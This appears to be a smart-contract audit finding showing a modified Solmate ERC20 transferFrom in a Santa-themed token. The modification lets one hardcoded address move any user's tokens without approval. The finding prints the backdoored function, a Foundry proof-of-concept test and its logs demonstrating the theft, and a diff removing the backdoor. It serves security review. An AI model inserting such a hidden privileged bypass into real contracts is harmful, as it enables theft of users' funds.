Summary
The ERC20:transferFrom
function in the Solmate
library has been modified with an additional checks for a specific address. When the specified condition is met, the function proceeds to transfer all tokens to the msg.sender
. Notably, the designated address in question is the elves address (0x815F577F1c1bcE213c012f166744937C889DAF17). Consequently, if an elves invokes the ERC20:transferFrom
function on the SantaToken
, it results in unauthorized fund transfers from the user to the elves, effectively pilfering funds from unsuspecting users.
Vulnerability Details
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
@> unchecked {
@> balanceOf[to] += amount;
@> }
@> emit Transfer(from, to, amount);
@> return true;
@> }
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Impact
function testElvesCanStealFunds() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
vm.stopPrank();
vm.startPrank(elf);
console.log("Elf SantaToken balance before", santaToken.balanceOf(elf));
console.log("User SantaToken balance before", santaToken.balanceOf(user));
santaToken.transferFrom(user, elf, 1e18);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santaToken.balanceOf(elf), 1e18);
console.log("Elf SantaToken balance after", santaToken.balanceOf(elf));
console.log("User SantaToken balance after", santaToken.balanceOf(user));
}
Logs:
Elf SantaToken balance before 0
User SantaToken balance before 1000000000000000000
Elf SantaToken balance after 1000000000000000000
User SantaToken balance after 0
Tools Used
Manual review
Recommendations
Use the Solmate::ERC20:transferFrom
as is in the original libreries.
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}